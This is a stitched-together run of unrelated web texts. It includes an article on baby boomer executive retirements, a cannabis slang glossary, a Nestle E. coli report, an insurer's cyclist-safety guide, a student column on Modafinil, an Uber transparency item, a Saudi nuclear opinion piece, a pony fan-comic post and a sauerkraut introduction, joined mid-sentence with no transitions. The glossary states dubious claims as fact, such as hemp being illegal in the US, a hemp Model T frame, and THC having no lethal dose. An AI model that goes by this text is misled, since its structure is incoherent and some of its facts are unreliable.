The generation was a demographic earthquake — after World War II, nearly 80 million Americans were born in the two decades of relative prosperity between 1946 and 1964. They grew up to fill the nation's factories, steel mills, auto plants, farms and family businesses with new workers and, eventually, became the business owners and executives that still run many companies and industries today. Now, a little more than 65 years after the boom began, comes what might be its greatest aftershock — an equally long so-called “silver tsunami” of retirements. They won't just impact assembly lines or the rank and file of mills and machine shops, either. Business owners, CEOs and other high-ranking executives and leaders of industry are beginning to retire in a wave that will sweep out one generation of management and wash in a new one. While it might take months or even years to train a new machinist, welder or other skilled laborer, it can take decades to train and groom a manufacturing CEO, observers say. That's going to present a challenge for many companies and industries, an opportunity for some, and could be a disaster for those that are not prepared. Either way, it's going to change the management landscape of the region forever. “In general, you have an aging, more senior management population than you have had in the past. It's demographics,” explains Mike Milby, president and CEO of the Independence-based executive search firm Ratliff & Taylor. And, for the short term at least, the pace of retirements will be driven by more than just the winds of inescapable demographics, say Milby and others. The economic conditions of the last five years or so have resulted in retirements being held back. “That's the thing that exacerbates the whole situation — and we're really going to see this over the next three to five years,” Milby said. “You've got this executive group that would have been leaving between 2008 and 2012 or '13, that didn't leave.” Those executives, as well as business owners, kept working because their retirement savings had been depleted by the financial collapse of 2008 and the Great Recession that followed, or because they wanted to remain at the helm of their companies until they were sure it was able to survive and prosper, Milby said. Now, most of them have rebuilt their nest eggs or their companies, and they're ready to quit. “You now have that group (retiring), in addition to the group that would have been retiring anyway,” Milby said. In other words, the waves of retirements that everyone has seen coming for decades have to some extent been packed into one big bulge in a pipeline that now is spilling open. Those watching the economy of Northeast Ohio and its companies can see it happening here. There has been a spate of recent executive retirements at some of the area's biggest companies, and especially among manufacturers. Invacare founder Malachi Mixon, Parker Hannifin CEO Donald Washkewicz, Transdigm president Raymond Laubenthal, Materion CFO John Grampa, FirstEnergy CEO Anthony Alexander — all have recently announced that they are retiring from their current positions. More are no doubt coming, including Eaton CEO Alexander “Sandy” Cutler, who will retire next year when he reaches his company's mandatory retirement age of 65. Most companies are prepared for transition, because they are well aware that Baby Boomers, both on the shop floor and in upper management, are about to retire in droves. A “significant number” of people at Mayfield Heights-based Parker Hannifin are Baby Boomers, said Dan Serbin, executive vice president of human resources and external affairs. Fortunately, the company plans for retirements and successions years in advance. “It's part of our DNA,” Serbin said. Because |
the manufacturing method. BHO’s potency is as high as 90% THC and is a favorite in most dispensaries. People opposed to Marijuana often use BHO in their campaigns, as it looks like you are smoking crack and if manufactured improperly can blow up. It is called dabbing when you smoke BHO.
Blood Meal
A high nitrogen, organic fertilizer used to stimulate vegetative growth in seedlings and clones.
Blue Dream
Blue Dream is a popular Sativa Hybrid Dominant Strain.
Blunt
A cigar that has been hollowed out and filled with marijuana. Blunts are popular because they are inconspicuous and can hold more marijuana than joints. The cigar rap also gives smokers the ability to have different flavored cannabis like grape, watermelon or peach.
BOGO
A common abbreviation used by dispensaries to mean Buy One Get One free. For example BOGO 1/8 for first time patients.
Bong
A bong, also known as a water pipe, is a cannabis smoking apparatus that filters the smoke through water before reaching the lungs. Bongs are a favorite amongst cannabis smokers, because you can take bigger hits than on a standard pipe.
Bowl
The bowl shaped area where you load the marijuana in a pipe or bong.
Bubble Hash
A potent form of hash created by filtering marijuana through multiple bags with different size micron filters at the bottom. These bags are filtered in ice cold water inside a bucket. The bags are shaken, the ice cold water agitates the THC on the marijuana and it is dislodged from the plant and collected in different size filters. Depending on the filter size you get hash that is high grade to low cooking grade.
Bud
Buds or Nugs are the fluffy flower that is harvested form a marijuana plant. This part of the plant is very psychoactive and rich in cannabinoid concentration. It is not uncommon for buds to be resinous and have red, orange or other colored hairs on them.
Buzzkill
When everyone is stoned having a good time and someone says a stupid or mean comment that makes the room go silent. In effect turning a good time into a crappy time.
Cannabinoids
Cannabinoids are the medically beneficial compounds in Cannabis. The human body has receptors for cannabinoids in the brain, creating various effects when consumed. The most famous cannabinoid in Marijuana is THC (delta-9-tetrahydrocannabinol), this is the psychoactive component of marijuana. Another common cannabinoid is CBD (Cannabidiol), this is being researched to prevent seizures and cancer growth among other things. There are over 85 known cannabinoids in Marijuana, their medical benefits are still poorly understood.
Cannabis
A more socially acceptable and scientific name for Marijuana. The three species of Cannabis are: Cannabis indica, Cannabis sativa and Cannabis ruderalis. The most commonly used species for medical and recreational use are Cannabis indica and Cannabis sativa. Indica’s are commonly described as more relaxing night time highs. As sativa’s produce more energetic and cerebral highs, great for creativity and daytime smokers. Cannabis ruderalis is low in THC so not commonly planted. It does have the benefit of being autoflowering. So some growers will cross ruderalis plants with other photoperiod plants to make them autoflowering. Cannabis originated in Asia, but is now grown worldwide.
Cashed
When the bowl has been smoked to completion and only ash remains. Example: “I cashed the first bowl and then smoked a second.”
CBD
Short for cannabidiol, CBD is a cannabinoid that is commonly used in medical marijuana research. It has been used to treat seizures, cancer, anxiety, inflammation and other medical conditions. It is sought after because it does not contain the psychoactive effects of THC. This means it can be administered to children (under doctor’s recommendation) or others who do not wish to get high.
Cheeba
An old slang word for Marijuana.
Chiefing
The word chiefing can mean to smoke marijuana. Example: Lets go chief some buds. It can also mean hogging the joint, blunt or pipe. Example: quit chiefing that bowl it is going to be gone before the rest of us get any.
Chronic
A common hip hop term to mean very high quality marijuana. Popularized by Dr. Dre’s the Chronic 2001 album.
Concentrates
Concentrates are a potent form of marijuana. They are created by dissolving marijuana in a solvent like Butane or Carbon Dioxide which consolidates the cannabinoids into a potent mixture. Depending on the manufacturing method the final product can be an oil (wax) or resinous flakes (shatter). Concentrates tend to be very potent and usually have a higher THC concentration than hash.
Co-op
A cooperative is a community of marijuana patients who come together to grow, share, receive and sell marijuana. It is not uncommon for individual members of the co-op’s maximum allowed quantities to be combined. For example if one person can grow 6 marijuana plants a co-op of 5 people can grow 30 marijuana plants. The rules governing cooperatives vary by state.
CO 2
Carbon dioxide is often used to extract THC from cannabis, in the manufacturing of concentrates. You take CO 2 as a gas or a liquid and pressurize it to the “Super Critical” state (anything above 1078 PSI). As you pass the gas through it will pull the oils, waxes and other materials out of the plant.
Coming Down
A side effect of Marijuana that causes you to get very tired a few hours after you smoke.
Couch Lock
When you are to high to get off the couch. A common side effect reported of cannabis Indica.
Creeper
Marijuana that doesn’t hit you right away, but slowly creeps up on you over time getting you high.
Cross (genetics)
A cross is when two different types of plants are bred to create another type of plant. This is common in marijuana cultivation to produce new types of strains.
Curing
One of the most important steps in marijuana cultivation. Curing is the process of drying out marijuana slowly after harvest. This is usually done in glass jars over a few weeks time. The slower the cure the higher the potency and better the taste.
Dab/Dabbing
Dabbing refers to smoking BHO or other concentrates. This is achieved by heating a nail with a blow torch and dabbing the cannabis concentrate onto it. Dabbing is not considered vaporizing, as combustion is involved. This is evident by the char marks on the nail.
Dank
A popular marijuana term to describe really high grade marijuana. Hence the website name Top Dank.
Dewaxing
In BHO production dewaxing is the process of removing plant waxes from the finished product. This generally, but not always, creates a shatter of a higher potency.
Dispensary
A dispensary is a place where legal medical marijuana patients can purchase cannabis. They are usually walk-in, but many dispensaries now a days deliver. It is not uncommon for dispensaries to have security guards in front, as they are mainly cash businesses. Medical dispensaries usually have a verification process before you can purchase medical marijuana.
Doobie
Slang word for a joint.
Down Stem
The female part of a bong that the bowl piece slides into.
Drip System
A drip system is used when growing hydroponically. This is a system where nutrients drip slowly into the marijuana roots.
Dub
A term that is slang for 20 dollars worth of cannabis.
Dugout System
A dugout system AKA one hitter system, is a very small portable smoking instrument about the size of a flat lighter. Dugout systems are popular for people trying to smoke inconspicuously or on the go.
Edibles/Medibles
Baked goods such as cookies, brownies, gummy bears, jolly ranchers and drinks that are infused with cannabis oils. Consuming edibles takes longer for the psychoactive components to kick in, as it must be absorbed in the digestive track. Technically any food can be converted into a marijuana edible by infusing it with cannabis oils.
Eighth
One eighth of an ounce of Marijuana. It is not uncommon for dispensaries to run specials for 4 gram 1/8th’s. Yet an actual eighth is one eighth of an ounce or 3.5 grams.
Elbow/LB/Pound
An elbow is slang for 1 pound of Marijuana, this is 16 ounces or 453.59 grams.
F1
The first resulting generation of offspring from a cross of two different parent plant strains.
F2
A generation resulting from the cross of two of the same F1 hybrids.
Feminized
Feminized plants are strictly female plants. They are bred this way because female plants are more potent, because energy used to create seeds in males is used for trichome production in females. Feminized seeds produce only female plants, which makes it easier for growers because they don’t have to sex their plants. Feminized seeds also eliminate the risk of pollinating female plants, in essence producing seeds. Feminized plants are almost exclusively used in medical grade marijuana for their higher potency.
Flowering Time
Flowering time refers to the amount of time it takes for a cannabis plant to fully mature its flowers. This time varies by plant species and growing conditions. Grower’s flowering times vary based on their desired outcome. A longer flowering time will create more amber colored trichomes under a magnification. The darkening of trichomes progresses with time and a large percentage of amber trichomes is believed to produce a strong body high. A smaller percentage of amber colored trichomes is believed to produce a cerebral high.
Flowers
Flowers are the reproductive organ for the cannabis plant. When harvested and dried out flowers are the part of the marijuana plant that you smoke, because flowers produce the highest concentration of cannabinoids on the plant. They are visually stunning and vary in color and size by strain. Flowers are usually covered in resin, tons of crystals known as trichomes and hairs.
G
A slang term for one gram of Marijuana
Gold
Gold describes a type of marijuana that originates from Colombia.
Gravity Bong
Any pipe using water and gravity to force smoke into the lungs.
Hash/Hash Oil
Hash or Hashish is a potent mix of cannabinoids produced by removing trichomes from the plant by means of sieving or filtering. Hash is more potent than flowers, but less potent than BHO.
Heirloom
An heirloom is a cannabis strain that was taken from its native homeland and cultivated in another geographical location.
Hemp
Hemp, which is illegal in the United States, is the fibrous product that can be produced from male plants. Very low in THC Hemp has been used in a multitude of ways throughout history. It is great for making paper, rope, lotions, beauty supplies and various other products. The first Model T’s frame was actually made of Hemp.
Hookah
A Hookah is a hashish water pipe with four long stems to accommodate four smokers at the same time. A popular hookah smoker is the caterpillar in Alice and Wonderland.
Homegrown
Marijuana that is grown at home.
Hooter
An old-school term for joint.
Hot box
Smoking marijuana in a closed area, in hopes of having the air saturate with cannabis smoke. This gets the smokers high from the original hit and the second hand smoke.
Hybrid
A Hybrid is a cross of 2 or more different cannabis strains. Hybrids are real common because you can breed for certain traits. If you have a low yielding plant you can cross it with a high yielding plant in hopes of creating bigger yields.
Hydroponics
Hydroponics is a system of growing marijuana that does not utilize soil. It is a very common technique for indoor growers where plants receive water and nutrients from the addition of solutions instead of soil. Hydroponic growing allows cultivators to have control over exact nutrient intake. Hydroponic plants tend to have a cleaner taste and sometimes lack the strong flavors of soil grown plants.
Indica
Indica or Cannabis indicas are short stocky cannabis plants that originated from the Middle East and Asia. They are bushier in stature and tend to produce more of a sedative, body high. Some popular Indica’s are OG Kush and Afghan Kush.
Indo
A term that became popular in Northern California meaning marijuana.
Joint
The most common term referring to a marijuana cigarette.
Kief
Kief is a potent collection of trichomes from the marijuana plant. Kief looks like a bunch of pollen collected from the marijuana plant. It is actually a bunch of cannabinoids in concentrated amounts. Kief is usually packed on top of bowls to increase the potency of the flowers you are smoking.
Kill
Slang word for highly potent marijuana.
Kilo
Kilo measures 2.2 pounds of Cannabis. This amount is illegal for one person to have in the United States.
Kind Bud
Kind Bud is a slang term for good pot.
Kush
Kush plants are cannabis that originated from the Hindu Kush mountains in Afghanistan and Pakistan. Kush strains are indica dominant and very potent. Their taste is usually quite satisfactory, a huge reason for their massive popularity. The smell is citrusy, piney and distinctly wonderful.
Laced
Describes when marijuana is mixed with another street drug like cocaine or meth.
Landrace
A landrace variety of cannabis is a strain that has adapted to thrive in the environment of its current geographic location. Landrace strains commonly have their location in their name. Example: Afghan Kush
Loud
Slang term created by rappers for good marijuana.
Marijuana
Marijuana is the most commonly used term worldwide to describe female cannabis plants.
Mary Jane
Another slang word for marijuana.
Midnight toker
A person who smokes marijuana before they go to bed or in the midnight hours.
Munchies
A common side effect of marijuana where the user becomes very hungry.
Nail
A usually titanium nail used when dabbing to collect wax and press it against the heat source.
NORML
A popular organization that fights for the rights of cannabis smokers.
Nutrients
The primary, secondary and trace elements that are required for plant growth.
OG
Means Ocean Grown or Original Gangster is a common name used for Marijuana Strains. Example: Skywalker OG, Mercury OG and OG Kush.
One Hitter Quitter
A cannabis strain that is so potent it only takes one hit to get you high enough to stop smoking.
P1
P1 refers to the original parental genetics used to develop F1 hybrids.
Phenotype
A phenotype describes the general physical characteristics of a plant. This can include color, leaf configuration, height and a multitude of other characteristics that can be used to establish a plants health.
Pipe
A tool for smoking Marijuana.
Pistil
Pistils are the female part of a cannabis plant. They appear as little hairs on the flowers, that are a whitish color early in flowering and turn to a red or dark orange color as the plant matures. Pistils are a great indication for a plants readiness to harvest. When a female plant is going to be fertilized by a male plant her pistils collect male pollen.
Pot
Pot is a slang term for marijuana.
Pothead
A pothead is a person who smokes marijuana all the time. Usually used in a derogatory manner to describe a marijuana smoker. Example: “Potheads are really lazy and always hungry.”
Pre-roll
A Pre-roll is a joint rolled by the dispensary not yourself. Dispensaries commonly give away pre-rolls to first time patients and as a gift with purchase. Pre-rolls are also sold pretty cheap at dispensaries and are great if you don’t feel like buying a large amount of marijuana.
QP
Slang for a quarter pound of marijuana, which is 113.39 grams or 4 ounces.
Quad or Quarter
Measures 1/4 ounce or 7 grams.
QWISO
QWISO is an acronym meaning Quick Wash Isopropyl. This is a technique used to extract oil from mixed leaf for topicals and buds or trim for vaporization.
Ruderalis
Ruderalis is an autoflowering cannabis variety. It is often rich in CBD’s which are great for treating various ailments. The Ruderalis is a very hardy plant and not commonly grown.
Sack
A slang word for a bag of marijuana
Sativa
Sativa or cannabis sativa plants originated from South America, Africa, Thailand and the Caribbean. Sativa plants grow much taller than Indica plants. Sativa’s also have skinnier leaves and take longer to flower. Sativas create very cerebral and energetic highs and are great for a daytime smoke.
Schwag
Cannabis of very low quality. Example: That was some schwag weed we smoked, I didn’t even get high.
Shatter/Ice
Shatter or ice are terms used to refer to Butane Hash Oil when processed in slightly different ways to make them not so waxy.
Shot Gun
Shot Gun is a term used to describe when someone takes a hit off a joint or blunt and blows the smoke into someone else’s mouth.
Sinsemilla
A term used to describe seedless marijuana.
Sneak-A-Toke
A small pipe that you can easily fit in your hand, that allows you to smoke wherever you go. Sneak-A-Tokes are sometimes concealed as everyday items like cigarettes, highlighters or flashlights.
Stoned
A slang term used to describe someone high off marijuana. Example: “I smoked 2 joints and got really stoned.”
Strain
A strain is a specific variety of a cannabis plant species. Different strains are developed by growers almost as their brand name. Strain names are often very creative (Alaskan Thunderfuck) or indicate their country of origin (Afghan Kush). Strain names are highly subjective as OG Kush from one dispensary may look nothing like OG Kush from another dispensary. It is not uncommon for someone to call a strain something it is not to get a higher selling price.
Swisher
Refers to Swisher Sweet cigars that are commonly gutted of tobacco, filled with marijuana and smoked as a blunt.
THC
THC also known as delta-9-tetracannabinol is the most prevalent psychoactive cannabinoid in marijuana. THC is the main cannabinoid that gets you high when smoking cannabis. It was first isolated in 1964 and has been used for various medical and recreation reasons since. There is no LD50 for THC as there is no lethal dose in its natural form.
Tincture
A tincture is a cannabis extract made with alcohol or glycerol that is in liquid form. Many medical marijuana patients use tinctures in a dropper. They drop the liquid on their tongue for quick absorption or add it to a drink for a more delayed effect. Tinctures are popular because they can be flavored and don’t smell. This allows a person to medicate rather discretely if necessary.
Toker
One who smokes Marijuana.
Topical
Cannabis extracts can be added to a lotion or creme that is applied to the skin called a topical. Most commonly used for achey muscles and soreness topicals can be added to the desired area of the body and absorbed through the skin.
Trichomes
Trichomes are the resin glands produced by the cannabis plant. When looked at under a microscope they look like hair like growths with a ball at the end of them. These Trichomes are home to all the most popular cannabinoids in the plant including THC and CBD.
Uppers
A marijuana strain that makes you alert and ready to take on the day, usually sativas.
Vaporizer
A vaporizer is a device used to efficiently consume marijuana. It does this without most of the hazardous byproducts involved in combustion. A vaporizer has a heat source that gets the temperature to a level that vaporizes cannabinoids, but not the flower material. This gives the smoker a clean tasting, highly potent hit that does not have butane from lighters. Vaporizers have become hugely popular in the last few years due to their reduced size and increased safety.
Vegetative Stage
The stage in the Cannabis growth cycle before flowering where it is growing in height.
Water Pipe
A device used for smoking marijuana that filters the smoke through water before it is inhaled.
Wax
Wax is another name for BHO.
Weed
Weed is the most commonly used slang term for marijuana.
White Widow
A popular Indica dominant marijuana strain.
Winterizing
Process of removing unwanted plant waxes and lipids extracted by the butane in BHO. This produces smoother dabs and higher potency concentrate. It is also believed to be a cleaner product for the lungs.
Z or Zip
Slang for an ounce of Marijuana.Nestle USA, which is under investigation over its cookie dough, refused to give Food and Drug Administration inspectors documents on pest-control and other issues, according to the Wall Street Journal. A WSJ report today says inspection reports covering the past five years show that officials at the company's Danville, Va. plant, which made the suspect dough, "refused to allow a Food and Drug Administration inspector to review consumer complaints or inspect its program designed to prevent food contamination." The WSJ goes on to say that "the inspector found dirty equipment and 'three live anti-like insects' on a ledge but nothing severe enough to give the plant a failing grade." The company said in a statement that "Nestle simply provided the FDA with all information required under the law." The company said that practice was "standard within the food industry." The company closed the Danville plant last week after federal officials linked Nestle Toll House cookie dough to an outbreak of E. coli O157:H7. The bacterium, which is usually found in cattle feces, can cause severe illness or even death. No one has died in the outbreak but nearly 70 have been sickened, including 34 who were hospitalized and nine who developed kidney failure. Oregon has one confirmed case -- a Gresham teenager who was severely sick for three weeks but appears to be fully recovered. Federal officials are inspecting the Danville facility, looking for clues as to how E. coli O157:H7, which is usually associated with cattle feces, could have gotten into the dough. Nestle says it has never found the bacterium in any of its products. For more information, check the FDA Web site at www.FDA.gov. The CDC Web site is at www.CDC.gov. -- Lynne Terry; lynneterry@news.oregonian.comA major motor fleet insurer has published a guide that provides advice to operators of large vehicles regarding sharing the road safely with cyclists, including giving examples of hazards that bike riders may encounter that may not be immediately obvious to drivers.
Zurich Global Corporate’s Risk Insight Sharing The Road With Cyclists is published at a time when the safety of cyclists around lorries in particular has come under the spotlight.
The renewed focus on the dangers large vehicles pose to people on bikes followed the deaths of six riders in collisions with large vehicles in London during a two-week period in November.
Clearly, it is in an insurance company’s interests to encourage the businesses it insures to do as much as they can to minimise risk, and thereby the potential costs of a claim.
But Zurich does well in clearly and concisely setting out some of the hazards cyclists face that other road users, protected inside their vehicles, may not appreciate.
The document, compiled by Zurich’s Fleet Risk Engineering Team, points out some of the most common situations in which cyclists are put in danger, the most likely being when a large vehicle is turning left.
Other factors identified by Zurich, which says “it is important to understand all the issues associated with sharing the road with these vulnerable road users,” include:
• Larger vehicles overtaking cyclists and either not allowing them enough room or pulling in too soon. • Cyclists will often have to avoid obstacles such as drains or a damaged road surface when riding along the road… this is especially true at night when it is more difficult for the rider to see any obstructions. • When cycling uphill, riders are more likely to ‘wobble’ as their speed decreases, so should be given more clearance. • In windy conditions, cyclists can be blown off course when passed by larger vehicles, or from gusts of wind when passing gaps in roadside buildings, trees, and hedges. • When passing stationary vehicles, cyclists will often give these a wide berth to avoid the risk of colliding with an opening door, so may be further towards the centre of the carriageway than expected. • In slow moving traffic, cyclists may choose to weave in and out of traffic, including passing on the nearside. • At roundabouts, cyclists might navigate around the island differently to other vehicles, so their road position may not be a good indicator of which exit they intend to take, and from a stationary start it takes them longer to accelerate on to the roundabout, therefore they require extra space. • Whilst most cyclists have very good front and rear lights (although it is increasingly common to see these supplemented or replaced with lights mounted on the rider’s body or helmet), some do not, so may be difficult to spot in the dark. • In urban areas some cyclists choose to ride through red traffic lights. • Many riders signal their intentions but some do not (or do so very late). • When road conditions are slippery (e.g. in cold weather or when there are wet leaves on the road), the chances of a rider falling from their bicycle is increased, hence their need for extra room.
Zurich goes on to suggest ways in which companies can take action to reduce risk.
Those include considering whether trips can be rescheduled or routes altered to avoid known points of conflict at busy times, ensuring that time pressures on drivers are kept to a minimum and that they get sufficient rest, and that operational pressures on the business are not incompatible with road safety goals.
It suggests making drivers aware of specific issues that vulnerable road users such as cyclists, pedestrians and horse riders face, so that they can gain a better understanding of their perception of sharing space with large vehicles.
There’s also a focus on drivers, with Zurich pointing out the dangers of fatigue and distraction due to using sat-nav devices or mobile phones, recommending that a formal company policy be drawn up regarding the latter.
The need for drivers to maintain concentration at all times, observe road rules, give clear signals and have their eyesight tested regularly and, if necessary, corrected are also highlighted.
In terms of vehicles, Zurich highlights safety features such as additional mirrors and warning notices, and recommends companies to consider installing blind spot proximity sensors and audible warning systems.
It also underlines the need for regular maintenance, including checking that indicator lights are in working order and that mirrors and windows are kept clean.
Zurich’s Risk Insight concludes:
Many of the issues addressed above will, of course, make employees safer drivers in all road situations – driving is a high risk activity, which is often overlooked, and for most employees, their chance of getting injured or, more importantly in this case, injuring someone else is greater whilst driving then during any other work activity. A safe driver will try and avoid collisions regardless of who is at fault – many cyclists ride very safely, but for those that choose not to, following the advice given above will help minimise the chance that one of your drivers will be involved in a collision with a cyclist.
The insurance company’s European Head of Fleet Risk Engineering, Andy Price, said: “Our cities’ roads are dangerous places for cyclists and any injury or loss of life is tragic.
“The Risk Insight issued today offers some well-considered guidance for Organisations whose vehicles and drivers share the roads with cyclists.
“I hope that the advice we have put together, for managers and drivers, can help minimise the risk of collision in all road situations.
“A safe driver will try and avoid collisions regardless of who is at fault and many cyclists ride very safely; but for those that choose not to, following the advice in this Risk Insight will help minimise the chance that one of your drivers will be involved in a collision with a cyclist or other vulnerable road user.”Having seen the effect drugs like Modafinil have had on my friends, I'm steering clear
Have you ever wondered what it would be like to have access to instant genius in the form of a little pill? In the run-up to last summer's exams, curiosity proved too great a temptation for a few of my mates. They got their hands on a substantial haul of Modafinil, a prescription-only drug normally used to treat narcolepsy.
Modafinil is one of a number of performance-enhancing smart drugs that can be found online. It gives a sensation of natural wakefulness for hours at a time, without the jittery buzz and disrupted sleep associated with caffeine.
It also sharpens the mind, boosts memory and aids problem-solving: the Ministry of Defence shipped thousands of pills to tired soldiers in Afghanistan and Iraq.
They certainly work. While I was dozing off, bored senseless by revision, my mates were more focused than a Buddhist monk mid-meditaton.
But Modafinil does more than just keep you awake. I asked a friend who tried it out to describe his experience.
"It messes with your mental reward system," he said. "It makes you desperate to do what you know you actually need to do. You just don't want to do anything else. I wanted to revise all the time, non-stop."
Professor Barbara Sahakian, a leading neuroscientist at the University of Cambridge, explained it to me in scientific terms: "Our recent study published in Neuropharmacology suggests that healthy people use smart drugs, like Modafinil, to get down to and complete tasks that they have been putting off, because these tasks seem more enjoyable when taking these drugs."
In short, drugs like Modafinil make revision seem fun. This might sound like everything a stressed student could want, but prospective pill-poppers should be warned – the pills come with a whole range of potential physical side-effects.
"At present there are no long-term safety studies of these drugs in healthy people," explains Professor Sahakian. "We know that the brain is in development into late adolescence. Therefore we do not know the long-term consequences of the effects of these drugs on a healthy developing brain."
Ordering online, she adds, is "a very dangerous way to obtain prescription-only drugs. You do not know what you're actually purchasing."
In my experience, Modafinil changes people's behaviour too. Over those weeks my friends became different people – in turn aggressive, cold and reclusive. Eating was "a waste of time" and so was conversation.
One friend, a world-class procrastinator, could be found swearing at anybody who interrupted his work flow, walking away from conversations mid-sentence. When I put it to another that using brain-enhancing drugs amounted to cheating, he turned on me, accusing me of wanting to ban revision. He apologised the next day. He said it was the drugs talking.
It's easy to see the appeal of Modafinil. It's readily available on the internet – a month's supply would set you back around $50, apparently – and unlike that other popular study drug Ritalin, possession without prescription isn't actually illegal.
A spokesperson for the charity DrugScope says Modafinil is a prescription-only medication but not a controlled substance, so it is not illegal to be caught in possession of it. However, under the Medicines act, it is an offence to supply, which includes everything from wholesale dealing to simply giving some to a friend.
Ritalin, however, is a controlled substance under the Misuse of Drugs act, the spokesperson says. Possession of it without a prescription is illegal and it is a Class B drug.
A BBC survey found that of those people who had tried smart drugs before, 92% would do so again. My friends say they'd happily do so, maintaining that they're not put off by the health risks.
Nor do they consider smart drugs a form of cheating, comparing the practice to paying for tutoring or private schooling.
I'll admit that I was intrigued – but not enough to try it. Having seen the bizarre behaviour of other users, I find the effects unsettling and, frankly, a little bit scary.
Modafinil may promise to change your grades, but it might also change the way you act. Don't say you haven't been warned.Here's a startup idea: Uber, but for providing the government with data on millions of people.
Uber, the ride-hailing behemoth, revealed on Tuesday that it provided data on more than 12 million drivers and passengers to U.S. law enforcement in the second half of 2015, in response to 33 data requests.
The data is part of Uber's first transparency report, showing the level of cooperation with U.S. law enforcement. With this release, Uber joins a fleet of tech companies, including Google and Facebook, which have released similar reports.
"The report shows that we comply with the majority of law enforcement requests, while ensuring they go through the proper legal process," the company said in a blog post announcing the report.
The data requested may vary, as Uber explained in its report: "These agencies may request information about trips, trip requests, pickup and dropoff areas, fares, vehicles, and drivers in their jurisdictions for a given time period."
The timing of the report did raise some eyebrows, coming just moments before Facebook's big F8 conference kicked off, effectively overshadowing the news.
In total, Uber received more than 400 requests from federal and state law enforcement between July and December of 2015. Of those, Uber provided at least some data in more than 80% of cases.Saudi Arabia is in the news, yet again, for some of its leaders claiming they will pursue a nuclear weapon if Iran attains them as well. Putting aside whether Iran will actually obtain nuclear weapons, it is very unlikely Saudi Arabia will build its own bomb.
1. Sanctions
First, the international community has shown incredible resolve in enacting sanctions against nations seeking to develop weapons of mass destruction. From Iran to Iraq to Pakistan, all received this blunt impact. Admittedly, Saudi Arabia’s oil supply is larger than Iran and Iraq’s making the prospect of sanctions less likely. However, the West can still enforce financial sanctions. Western companies are not too particularly reliant on investing in Saudi Arabia. But, as the Saudi Arabian government seeks to find employment for its large youth population and diversify its economy away from oil, foreign direct investment becomes even more important to them. Without the constant stream of jobs, the population is at risk of becoming restive.
2. Arms Sales Cut Off
Next, the United States will have no tolerance for additional nuclear development in the region. As the country’s primary arms provider, the US will immediately cut off sales to Saudi Arabia if its government were to begin building the bomb. Nor will any other countries come to Saudi Arabia’s rescue to substitute for the US. Russia, long favoring Iran as its client state, surely will not come to the side of Saudi Arabia so that it can develop weapons.
3. No Infrastructure
Lastly, Saudi Arabia simply lacks any of the necessary infrastructure, civilian or military. Although the country has begun to make steps to develop nuclear energy to meet the country’s future demands, it is at least a decade away from weaponization. If Iran were to hypothetically arm itself with nuclear weapons, Saudi Arabia would be incredibly behind. At that point, it would be more favorable for the Kingdom to appeal to the United States as a guarantor of its security than pursue weapons themselves.
Saudi Arabia can huff and puff all it wants about Iran, but in the end, they won’t build the bomb.Here it is, one and a half months later, the Rainbow Dash comic I had the idea for one evening. I spent all day on this to finish it before school starts tomorrow! I'm really satisfied with it, and tried to put as much emotion into it as I could.I hope you guys like it!EDIT: Oh! I forgot to say! All the panels were done in Illustrator, so each one is a vector. If you want a larger version of one of the panels, just say so and I'll upload it here!EDIT2: Also forgot to say that the poster in panel one is by. Thanks!EDIT3 8/18 4:13pm - Wow, you guys! Not even 24 hours later, this has 10k views, 900 favs and 260 comments. I could not have asked for a more heartwarming or overwhelming response! This comic was on the pony Reddit page, Ponibooru, and Equestria Daily. Between the three, there are over 630 comments on this image full of nothing but praise. You guys are wonderful!I want you all to know that I took the time to read ALL of them, because each one makes me so happy. You guys are going to make me cry with your crying and happiness.I love the responses you guys have given me. Some have told me of dreams they had long ago that have been rekindled because of this comic, some told me that this is the first fan-made piece of art that has ever made them cry. And all the many, many comments from you guys telling me that it made you cry! Trust me, you have no idea how happy all this feedback makes me. I am honestly touched and honored that I have touched so many of you with this comic.Several people have even said that the show's producers should see it, and that's some high praise! Somebody even took the time to post it on Lauren's DA page.When I tried to make this comic emotional, I guess I succeeded. Much more than I could have imagined!And this fandom. Let this be the first time for me to personally thank the show's production team for making My Little Pony: Friendship is Magic what it is. While trying to shift the paradigm of children's cartoons, you've inadvertently spawned an enormous community full of people who are loving, kind, and not afraid to show their emotional side anymore. Thank you all! I await season two with great anticipation and look forward to another awesome year of ponies.Thank you all once again! I do read every comment, but unfortunately I cannot reply to them all. So take this as a massive "thank you" to everybody who favorited, commented on, or even liked this comic of mine. I love this community and I love you all!EDIT4: So many edits! suggested this music to go with the comic:It's Tennessee from the movie Pearl Harbor. I think it fits quite well.EDIT5: made this wonderful video to go with this comic that uses frames from the comic and clips from the show, along with a nice soundtrack! I love it. I suggest you all watch it.EDIT6: 10-2-2011 - 30k views! Thanks so much, you guys! EDIT7: 06-13-2012 - 90,000 views. And the amazing EzeCoyote animated this whole comic! I really love it. It's fantastic. Go check it out here! Thanks again for all the support and love, guys! I still always read all your comments. <3EDIT8: 08-03-2012 - 100k views! Woo! It's party time.Minor edit - Since I've learned a lot more about PNG since when I first made this comic, I was |
surreal but stuck with me and when I got into the studio with Nick, ‘Lydia’ is what came out. A moody acid track with melodic touches!”
Clash is able to premiere the title cut, and it's every bit as moody as they say - restrained, diligently composed house with an acid flavour, you can tune in below:In this article, we're going to look at the process of how to make sauerkraut, including some variations on the basic theme, plus some funky condiments that we can eat with our kraut. By the end of this article you'll be a lacto fermented sauerkraut master, or at least well on the way to it. I'm going to include some pictures and some video to really lay things out in a way that is easy to understand, and by the end you'll be raring to go. If you've never used a crock before, take a look at my article on the best fermentation crock for the aspiring fermentista! Or if an open crock floats your boat, I've created an in-depth article on the Ohio Stoneware fermentation crock range. This is the one I use and it's freakin' awesome. Understanding how the ingredients work together is fundamentally important to fermenting vegetables, but also to any cooking/food production really. If you understand the processes, why this goes with that, and why you should omit the 'other', producing a great result gets so much simpler. The wonderful thing about sauerkraut (kraut) is that if you are someone who just hates weighing and measuring, it's the perfect fermented food. One can't just go bonkers and not even have an eye for quantities (I always give measurements in the recipes I provide on the site), but it's not fixed in a hard and fast way. A bit more cabbage than specified, no big deal. Your ferment will still work fine. Making kraut is a really low cost way of producing an incredibly healthy and tasty food. Even though it's been around a long time, I still get this question frequently: But What Is Sauerkraut Made Out Of? The only essential ingredients required to make a basic recipe are cabbage and salt. Yep, you can certainly add in herbs and spices, carrots, onions, and indeed, pretty much any other vegetable, but cabbage and salt are your traditional basics. Let's start this article by focusing on the cabbage, which is of course, the main ingredient:
